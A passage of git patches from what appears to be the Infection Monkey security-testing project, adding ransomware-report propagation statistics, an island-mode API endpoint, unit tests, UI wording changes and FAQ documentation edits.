Shreya Date: Mon, 12 Jul 2021 11:52:18 +0530 Subject: [PATCH 1072/1360] cc: Remove unused empty tags in `InfoBox.js` --- .../components/configuration-components/InfoBox.js | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js index 1542676ce7f..ba6957aef4f 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js @@ -6,12 +6,11 @@ class InfoBox extends React.Component { render() { return ( - <> -
    - - {this.props.schema.info} -
    - ); +
    + + {this.props.schema.info} +
    + ); } } From 2212029f0bd07648a0eab5ae44d706e3fb869f39 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Jul 2021 13:11:44 +0530 Subject: [PATCH 1073/1360] cc: Process exploit data on backend for ransomware stats reporting --- .../cc/resources/ransomware_report.py | 4 ++-- .../cc/services/ransomware_report.py | 24 +++++++++++++++++-- 2 files changed, 24 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index c5dfef3a887..93a318114fa 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -2,10 +2,10 @@ from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.ransomware_report import get_exploitation_details +from monkey_island.cc.services.ransomware_report import get_propagation_stats class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): - return jsonify({"report": None, "propagation": get_exploitation_details()}) + return jsonify({"report": None, "propagation_stats": get_propagation_stats()}) diff --git a/monkey/monkey_island/cc/services/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware_report.py index 74d30cf9302..691ae1fd375 100644 --- a/monkey/monkey_island/cc/services/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware_report.py @@ -1,8 +1,28 @@ +from typing import Dict, List + from monkey_island.cc.services.reporting.report import ReportService -def get_exploitation_details(): +def get_propagation_stats() -> Dict: scanned = ReportService.get_scanned() exploited = ReportService.get_exploited() - return {"scanned": scanned, "exploited": exploited} + return { + "num_scanned_nodes": len(scanned), + "num_exploited_nodes": len(exploited), + "count_per_exploit": _get_exploit_counts(exploited), + } + + +def _get_exploit_counts(exploited: List[Dict]) -> Dict: + exploit_counts = {} + + for node in exploited: + exploits = node["exploits"] + for exploit in exploits: + if exploit in exploit_counts: + exploit_counts[exploit] += 1 + else: + exploit_counts[exploit] = 1 + + return exploit_counts From 6f33b04e1faceb485baf3c98aad7053f8ef33ca1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 12 Jul 2021 13:44:04 +0530 Subject: [PATCH 1074/1360] cc: Reword info box for local network scan in Network configuration tab Co-authored-by: VakarisZ <36815064+VakarisZ@users.noreply.github.com> --- monkey/monkey_island/cc/services/config_schema/basic_network.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index 46c04284e9c..e1dd95c1795 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -12,7 +12,7 @@ "info_box": { "title": "", "type": "object", - "info": 'The Monkey scans its subnet if "Local network scan" is ticked. ' + "info": 'The Monkey scans its subnet if "Local network scan" is checked. ' 'Additionally, the Monkey scans machines according to "Scan ' 'target list".', }, From 6d584a65019c1263759e2f58fb8ddfac95999881 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 12 Jul 2021 10:22:48 +0200 Subject: [PATCH 1075/1360] docs: Fix mistakes in FAQ --- docs/content/FAQ/_index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 9284e2c3228..32b697f60be 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -95,8 +95,8 @@ If internet access is available, the Infection Monkey will use the internet for The Monkey performs queries out to the Internet on two separate occasions: -1. The Infection Monkey agent checks if it has internet access by performing requests to pre-configured domains. By default, these domains are `updates.infectionmonkey.com` and `www.google.com.` The request doesn't include any extra information - it's a GET request with no extra parameters. Since the Infection Monkey is 100% open-source, you can find the domains in the configuration [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/config.py#L152) and the code that performs the internet check [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/network/info.py#L123). This **IS NOT** used for statistics collection. -1. After installing the Monkey Island, it sends a request to check for updates. The request doesn't include any PII other than the IP address of the request. It also includes the server's deployment type (e.g., Windows Server, Debian Package, AWS Marketplace) and the server's version (e.g., "1.6.3"), so we can check if we have an update available for this type of deployment. Since the Infection Monkey is 100% open-source, you can inspect the code that performs this [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/monkey_island/cc/services/version_update.py#L37). This **IS** used for statistics collection. However, due to this data's anonymous nature, we use this to get an aggregate assumption of how many deployments we see over a specific time period - it's not used for "personal" tracking. +1. The Infection Monkey agent checks if it has internet access by performing requests to pre-configured domains. By default, these domains are `monkey.guardicore.com` and `www.google.com`, which can be changed. The request doesn't include any extra information - it's a GET request with no extra parameters. Since the Infection Monkey is 100% open-source, you can find the domains in the configuration [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/config.py#L152) and the code that performs the internet check [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/infection_monkey/network/info.py#L123). This **IS NOT** used for statistics collection. +1. After installing the Monkey Island, it sends a request to check for updates on `updates.infectionmonkey.com`. The request doesn't include any PII other than the IP address of the request. It also includes the server's deployment type (e.g., Windows Server, Debian Package, AWS Marketplace) and the server's version (e.g., "1.6.3"), so we can check if we have an update available for this type of deployment. Since the Infection Monkey is 100% open-source, you can inspect the code that performs this [here](https://github.com/guardicore/monkey/blob/85c70a3e7125217c45c751d89205e95985b279eb/monkey/monkey_island/cc/services/version_update.py#L37). This **IS** used for statistics collection. However, due to this data's anonymous nature, we use this to get an aggregate assumption of how many deployments we see over a specific time period - it's not used for "personal" tracking. ## Logging and how to find logs From 673b689ab531f59b17effb26fbb60531d6cd2073 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 12 Jul 2021 11:43:14 +0200 Subject: [PATCH 1076/1360] docs: Add note for Hugo installation --- docs/content/development/contribute-documentation.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/docs/content/development/contribute-documentation.md b/docs/content/development/contribute-documentation.md index ce4dbef4bf0..eafaff55dc2 100644 --- a/docs/content/development/contribute-documentation.md +++ b/docs/content/development/contribute-documentation.md @@ -52,7 +52,7 @@ This folder controls many of the parameters regarding the site generation. ### Themes -This is the theme we're using. It's a submodule (to get it you need to run `git submodule update`). It's our own fork of the [learn](https://themes.gohugo.io/hugo-theme-learn/) theme. If you want to make changes to the theme itself, or pull updates from the upstream, you'll do it here. +This is the theme we're using. It's a submodule (to get it you need to run `git submodule update`). It's our own fork of the [learn](https://themes.gohugo.io/hugo-theme-learn/) theme. If you want to make changes to the theme itself, or pull updates from the upstream, you'll do it here. ### Layouts and archtypes @@ -60,7 +60,7 @@ This directory includes custom [HTML partials](https://gohugo.io/templates/parti ### Public and resources -These are the build output of `hugo` and should never be `commit`-ed to git. +These are the build output of `hugo` and should never be `commit`-ed to git. ## How to contribute @@ -68,6 +68,8 @@ These are the build output of `hugo` and should never be `commit`-ed to git. You'll have to [install `hugo`](https://gohugo.io/getting-started/installing/), a text editor that's good for markdown (`vscode` and `vim` are good options) and `git`. +Note: Installing `hugo` via `apt` is not recommended because Hugo is usually few [versions behind](https://github.com/wowchemy/wowchemy-hugo-modules/issues/703) the latest for Debian and Ubuntu package managers. Refer to latest [releases](https://github.com/gohugoio/hugo/releases) of Hugo. + ### Adding and editing content #### Add a new page @@ -93,7 +95,7 @@ Run `hugo --environment staging` or `hugo --environment production`. This will c ##### `Error: Unable to locate config file or config directory. Perhaps you need to create a new site.` Did you confirm your working directory? It should be `monkey/docs`. - + ##### `failed to extract shortcode: template for shortcode "children" not found` or theme doesn't seem right? Have you run `git submodule update`? From 2894af4640fa843b383d4e998156272e7eb4d931 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 12 Jul 2021 12:10:05 +0200 Subject: [PATCH 1077/1360] ui: Remove "Congrats" message and change header --- .../cc/ui/src/components/pages/RunServerPage.js | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js index b70d0b9f753..4b65e45b51f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js @@ -16,11 +16,8 @@ class RunServerPageComponent extends React.Component { -

    Welcome to the Monkey Island Server

    +

    Get started

    -

    - Congratulations! You have successfully set up the Monkey Island server. 👏 👏 -



    From f8b6277a88d4d5b3083e126d8408a2003c6b9240 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 12 Jul 2021 13:32:14 +0300 Subject: [PATCH 1078/1360] Island: Add an endpoint for setting the island's mode. Also, add an enum of all the modes --- monkey/monkey_island/cc/app.py | 3 +++ .../monkey_island/cc/resources/island_mode.py | 20 +++++++++++++++++++ .../cc/services/mode/__init__.py | 0 .../cc/services/mode/island_mode_service.py | 5 +++++ .../cc/services/mode/mode_enum.py | 6 ++++++ 5 files changed, 34 insertions(+) create mode 100644 monkey/monkey_island/cc/resources/island_mode.py create mode 100644 monkey/monkey_island/cc/services/mode/__init__.py create mode 100644 monkey/monkey_island/cc/services/mode/island_mode_service.py create mode 100644 monkey/monkey_island/cc/services/mode/mode_enum.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 8800d382a71..817a4333330 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -26,6 +26,7 @@ from monkey_island.cc.resources.environment import Environment from monkey_island.cc.resources.island_configuration import IslandConfiguration from monkey_island.cc.resources.island_logs import IslandLog +from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun from monkey_island.cc.resources.log import Log from monkey_island.cc.resources.monkey import Monkey @@ -132,6 +133,8 @@ def init_api_resources(api): api.add_resource( Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" ) + + api.add_resource(IslandMode, "/api/island-mode") api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/") api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") api.add_resource(ConfigurationExport, "/api/configuration/export") diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py new file mode 100644 index 00000000000..d0a10956416 --- /dev/null +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -0,0 +1,20 @@ +import json + +import flask_restful +from flask import make_response, request + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.mode import island_mode_service +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + + +class IslandMode(flask_restful.Resource): + @jwt_required + def post(self): + body = json.loads(request.data) + mode_str = body.get("mode") + mode = IslandModeEnum(mode_str) + island_mode_service.set_mode(mode) + + # TODO return status + return make_response({}) diff --git a/monkey/monkey_island/cc/services/mode/__init__.py b/monkey/monkey_island/cc/services/mode/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/island_mode_service.py new file mode 100644 index 00000000000..86f3e6d0971 --- /dev/null +++ b/monkey/monkey_island/cc/services/mode/island_mode_service.py @@ -0,0 +1,5 @@ +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + + +def set_mode(mode: IslandModeEnum): + pass diff --git a/monkey/monkey_island/cc/services/mode/mode_enum.py b/monkey/monkey_island/cc/services/mode/mode_enum.py new file mode 100644 index 00000000000..fce46db97df --- /dev/null +++ b/monkey/monkey_island/cc/services/mode/mode_enum.py @@ -0,0 +1,6 @@ +from enum import Enum + + +class IslandModeEnum(Enum): + RANSOMWARE = "ransomware" + ADVANCED = "advanced" From 2778b69dfb4ef6a9f0c259a4c02c1fed8331f5af Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 12 Jul 2021 15:59:36 +0300 Subject: [PATCH 1079/1360] Island: Add unit test infrastructure for testing resources --- .../monkey_island/cc/resources/conftest.py | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py new file mode 100644 index 00000000000..0e82fe16363 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py @@ -0,0 +1,32 @@ +import flask_jwt_extended +import flask_restful +import pytest +from flask import Flask + +import monkey_island.cc.app +import monkey_island.cc.resources.auth.auth +import monkey_island.cc.resources.island_mode +from monkey_island.cc.services.representations import output_json + + +# We can't scope to module, because monkeypatch is a function scoped decorator. +# Potential solutions: https://github.com/pytest-dev/pytest/issues/363#issuecomment-406536200 or +# https://stackoverflow.com/questions/53963822/python-monkeypatch-setattr-with-pytest-fixture-at-module-scope +@pytest.fixture(scope="function") +def flask_client(monkeypatch): + monkeypatch.setattr(flask_jwt_extended, "verify_jwt_in_request", lambda: None) + + with mock_init_app().test_client() as client: + yield client + + +def mock_init_app(): + app = Flask(__name__) + + api = flask_restful.Api(app) + api.representations = {"application/json": output_json} + + monkey_island.cc.app.init_app_url_rules(app) + monkey_island.cc.app.init_api_resources(api) + + return app From 3bde6f013a4e4e2e6666414ae2e5e828f05437e1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 12 Jul 2021 16:00:23 +0300 Subject: [PATCH 1080/1360] Island: Add a couple of island mode resource unit tests --- .../monkey_island/cc/resources/test_island_mode.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py new file mode 100644 index 00000000000..01cb17aeac8 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -0,0 +1,13 @@ +import json + +import pytest + + +def test_island_mode_post(flask_client): + resp = flask_client.post('/api/island-mode', data=json.dumps({"mode": "ransomware"}), follow_redirects=True) + assert resp.status_code == 200 + + +def test_island_mode_post__invalid_mode(flask_client): + with pytest.raises(TypeError): + flask_client.post('/api/island-mode', data=json.dumps({"mode": "bogus mode"}), follow_redirects=True) From 4564596cd0d8d0b1ba576407d8afeb12926850b3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 11:48:16 -0400 Subject: [PATCH 1081/1360] Agent: Add unit tests for ransomware report service --- .../cc/services/test_ransomware_report.py | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py new file mode 100644 index 00000000000..6997d586c5b --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py @@ -0,0 +1,37 @@ +import pytest + +import monkey_island.cc.services.ransomware_report as ransomware_report +from monkey_island.cc.services.reporting.report import ReportService + +TEST_SCANNED_RESULTS = [{}, {}, {}, {}] +TEST_EXPLOITED_RESULTS = [ + {"exploits": ["SSH Exploiter"]}, + {"exploits": ["SSH Exploiter", "SMB Exploiter"]}, + {"exploits": ["WMI Exploiter"]}, +] + + +@pytest.fixture(scope="function", autouse=True) +def patch_report_service(monkeypatch): + monkeypatch.setattr(ReportService, "get_scanned", lambda: TEST_SCANNED_RESULTS) + monkeypatch.setattr(ReportService, "get_exploited", lambda: TEST_EXPLOITED_RESULTS) + + +def test_get_propagation_stats__num_scanned(): + stats = ransomware_report.get_propagation_stats() + + assert stats["num_scanned_nodes"] == 4 + + +def test_get_propagation_stats__num_exploited(): + stats = ransomware_report.get_propagation_stats() + + assert stats["num_exploited_nodes"] == 3 + + +def test_get_propagation_stats__count_per_exploit(): + stats = ransomware_report.get_propagation_stats() + + assert stats["count_per_exploit"]["SSH Exploiter"] == 2 + assert stats["count_per_exploit"]["SMB Exploiter"] == 1 + assert stats["count_per_exploit"]["WMI Exploiter"] == 1 From 06439d92f9d1e0e172a1f3b6ce5e9cb16c259942 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 11:50:39 -0400 Subject: [PATCH 1082/1360] Island: Rename count_per_exploit -> num_exploited_per_exploit --- monkey/monkey_island/cc/services/ransomware_report.py | 2 +- .../monkey_island/cc/services/test_ransomware_report.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware_report.py index 691ae1fd375..65098daec21 100644 --- a/monkey/monkey_island/cc/services/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware_report.py @@ -10,7 +10,7 @@ def get_propagation_stats() -> Dict: return { "num_scanned_nodes": len(scanned), "num_exploited_nodes": len(exploited), - "count_per_exploit": _get_exploit_counts(exploited), + "num_exploited_per_exploit": _get_exploit_counts(exploited), } diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py index 6997d586c5b..5894d70ca8c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py @@ -29,9 +29,9 @@ def test_get_propagation_stats__num_exploited(): assert stats["num_exploited_nodes"] == 3 -def test_get_propagation_stats__count_per_exploit(): +def test_get_propagation_stats__num_exploited_per_exploit(): stats = ransomware_report.get_propagation_stats() - assert stats["count_per_exploit"]["SSH Exploiter"] == 2 - assert stats["count_per_exploit"]["SMB Exploiter"] == 1 - assert stats["count_per_exploit"]["WMI Exploiter"] == 1 + assert stats["num_exploited_per_exploit"]["SSH Exploiter"] == 2 + assert stats["num_exploited_per_exploit"]["SMB Exploiter"] == 1 + assert stats["num_exploited_per_exploit"]["WMI Exploiter"] == 1 From 9e7e58658c8cfcf2afc8d25240d885a6d198db56 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 11:54:39 -0400 Subject: [PATCH 1083/1360] Island: Simplify _get_exploit_counts() --- monkey/monkey_island/cc/services/ransomware_report.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware_report.py index 65098daec21..0e0f1c2993a 100644 --- a/monkey/monkey_island/cc/services/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware_report.py @@ -18,11 +18,7 @@ def _get_exploit_counts(exploited: List[Dict]) -> Dict: exploit_counts = {} for node in exploited: - exploits = node["exploits"] - for exploit in exploits: - if exploit in exploit_counts: - exploit_counts[exploit] += 1 - else: - exploit_counts[exploit] = 1 + for exploit in node["exploits"]: + exploit_counts[exploit] = exploit_counts.get(exploit, 0) + 1 return exploit_counts From e4cd06d8c309c1b6dd0109813be0349b5171069c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 12:00:14 -0400 Subject: [PATCH 1084/1360] Island: Move ransomware_report.py to ransomware/ransomware_report.py --- monkey/monkey_island/cc/resources/ransomware_report.py | 6 ++++-- .../cc/services/{ => ransomware}/ransomware_report.py | 0 .../cc/services/{ => ransomware}/test_ransomware_report.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) rename monkey/monkey_island/cc/services/{ => ransomware}/ransomware_report.py (100%) rename monkey/tests/unit_tests/monkey_island/cc/services/{ => ransomware}/test_ransomware_report.py (94%) diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index 93a318114fa..cb592346859 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -2,10 +2,12 @@ from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.ransomware_report import get_propagation_stats +from monkey_island.cc.services.ransomware import ransomware_report class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): - return jsonify({"report": None, "propagation_stats": get_propagation_stats()}) + return jsonify( + {"report": None, "propagation_stats": ransomware_report.get_propagation_stats()} + ) diff --git a/monkey/monkey_island/cc/services/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py similarity index 100% rename from monkey/monkey_island/cc/services/ransomware_report.py rename to monkey/monkey_island/cc/services/ransomware/ransomware_report.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py similarity index 94% rename from monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py rename to monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py index 5894d70ca8c..4b3493e8213 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_ransomware_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py @@ -1,6 +1,6 @@ import pytest -import monkey_island.cc.services.ransomware_report as ransomware_report +from monkey_island.cc.services.ransomware import ransomware_report from monkey_island.cc.services.reporting.report import ReportService TEST_SCANNED_RESULTS = [{}, {}, {}, {}] From c7d655ac7dd392ba4a568c9a5ff9ed56b68f9fab Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 12:08:31 -0400 Subject: [PATCH 1085/1360] Tests: Set autouse=False for patch_report_service fixture --- .../ransomware/test_ransomware_report.py | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py index 4b3493e8213..4c586aa81bd 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py @@ -3,33 +3,33 @@ from monkey_island.cc.services.ransomware import ransomware_report from monkey_island.cc.services.reporting.report import ReportService -TEST_SCANNED_RESULTS = [{}, {}, {}, {}] -TEST_EXPLOITED_RESULTS = [ - {"exploits": ["SSH Exploiter"]}, - {"exploits": ["SSH Exploiter", "SMB Exploiter"]}, - {"exploits": ["WMI Exploiter"]}, -] +@pytest.fixture +def patch_report_service_for_stats(monkeypatch): + TEST_SCANNED_RESULTS = [{}, {}, {}, {}] + TEST_EXPLOITED_RESULTS = [ + {"exploits": ["SSH Exploiter"]}, + {"exploits": ["SSH Exploiter", "SMB Exploiter"]}, + {"exploits": ["WMI Exploiter"]}, + ] -@pytest.fixture(scope="function", autouse=True) -def patch_report_service(monkeypatch): monkeypatch.setattr(ReportService, "get_scanned", lambda: TEST_SCANNED_RESULTS) monkeypatch.setattr(ReportService, "get_exploited", lambda: TEST_EXPLOITED_RESULTS) -def test_get_propagation_stats__num_scanned(): +def test_get_propagation_stats__num_scanned(patch_report_service_for_stats): stats = ransomware_report.get_propagation_stats() assert stats["num_scanned_nodes"] == 4 -def test_get_propagation_stats__num_exploited(): +def test_get_propagation_stats__num_exploited(patch_report_service_for_stats): stats = ransomware_report.get_propagation_stats() assert stats["num_exploited_nodes"] == 3 -def test_get_propagation_stats__num_exploited_per_exploit(): +def test_get_propagation_stats__num_exploited_per_exploit(patch_report_service_for_stats): stats = ransomware_report.get_propagation_stats() assert stats["num_exploited_per_exploit"]["SSH Exploiter"] == 2 From 3b7d35868aef6640ead4bf78799bb30cf29142ad Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Jul 2021 16:41:20 +0530 Subject: [PATCH 1086/1360] cc: Show exploitation stats on ransomware report page --- .../report-components/RansomwareReport.js | 41 ++++++++++++++++++- 1 file changed, 40 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index 86ba1ebf461..8d7e76c0c13 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -14,17 +14,56 @@ class RansomwareReport extends React.Component {

    This report shows information about the ransomware simulation run by Infection Monkey.

    + {this.getExploitationStats()}
    ) } + getExploitationStats() { + let num_scanned = this.props.report.propagation_stats.num_scanned_nodes; + let num_exploited = this.props.report.propagation_stats.num_exploited_nodes; + let exploit_counts = this.props.report.propagation_stats.num_exploited_per_exploit; + + let exploitation_details = []; + for (let exploit in exploit_counts) { + let count = exploit_counts[exploit]; + if (count === 1) { + exploitation_details.push( +
    + {count} machine was exploited by + the {exploit}. +
    + ) + } + else { + exploitation_details.push( +
    + {count} machines were exploited by + the {exploit}. +
    + ) + } + } + + return ( +
    +

    + The Monkey discovered {num_scanned} machines + and successfully breached {num_exploited} of them. +

    + {exploitation_details} +
    + ) + } + render() { let content = {}; if (this.stillLoadingDataFromServer()) { content = ; } else { - content =
    {this.generateReportContent()}
    ; + content = this.generateReportContent(); } + return (
    From c8e010498514da1adee4cdebdf7f1d65da42f424 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Jul 2021 16:47:32 +0530 Subject: [PATCH 1087/1360] cc: Extract ransomware report's exploitation stats component to a separate function --- .../report-components/RansomwareReport.js | 28 +++++++++++-------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index 8d7e76c0c13..1f5f9b0d7ee 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -22,9 +22,23 @@ class RansomwareReport extends React.Component { getExploitationStats() { let num_scanned = this.props.report.propagation_stats.num_scanned_nodes; let num_exploited = this.props.report.propagation_stats.num_exploited_nodes; + + return ( +
    +

    + The Monkey discovered {num_scanned} machines + and successfully breached {num_exploited} of them. +

    + {this.getExploitationStatsPerExploit()} +
    + ) + } + + getExploitationStatsPerExploit() { let exploit_counts = this.props.report.propagation_stats.num_exploited_per_exploit; let exploitation_details = []; + for (let exploit in exploit_counts) { let count = exploit_counts[exploit]; if (count === 1) { @@ -33,7 +47,7 @@ class RansomwareReport extends React.Component { {count} machine was exploited by the {exploit}.
    - ) + ); } else { exploitation_details.push( @@ -41,19 +55,11 @@ class RansomwareReport extends React.Component { {count} machines were exploited by the {exploit}.
    - ) + ); } } - return ( -
    -

    - The Monkey discovered {num_scanned} machines - and successfully breached {num_exploited} of them. -

    - {exploitation_details} -
    - ) + return exploitation_details; } render() { From 50c24c77f4099c8807dd0ea157a76de8c7386f43 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Jul 2021 09:25:41 -0400 Subject: [PATCH 1088/1360] Island: Use Pluralize to display ransomware propagation stats --- .../report-components/RansomwareReport.js | 24 +++++++------------ 1 file changed, 8 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index 1f5f9b0d7ee..52ca82c42aa 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -2,6 +2,7 @@ import React from 'react'; import ReportHeader, {ReportTypes} from './common/ReportHeader'; import ReportLoader from './common/ReportLoader'; +import pluralize from 'pluralize' class RansomwareReport extends React.Component { stillLoadingDataFromServer() { @@ -41,22 +42,13 @@ class RansomwareReport extends React.Component { for (let exploit in exploit_counts) { let count = exploit_counts[exploit]; - if (count === 1) { - exploitation_details.push( -
    - {count} machine was exploited by - the {exploit}. -
    - ); - } - else { - exploitation_details.push( -
    - {count} machines were exploited by - the {exploit}. -
    - ); - } + exploitation_details.push( +
    + {count}  + {pluralize('machine', count)} {pluralize('was', count)} exploited by the  + {exploit}. +
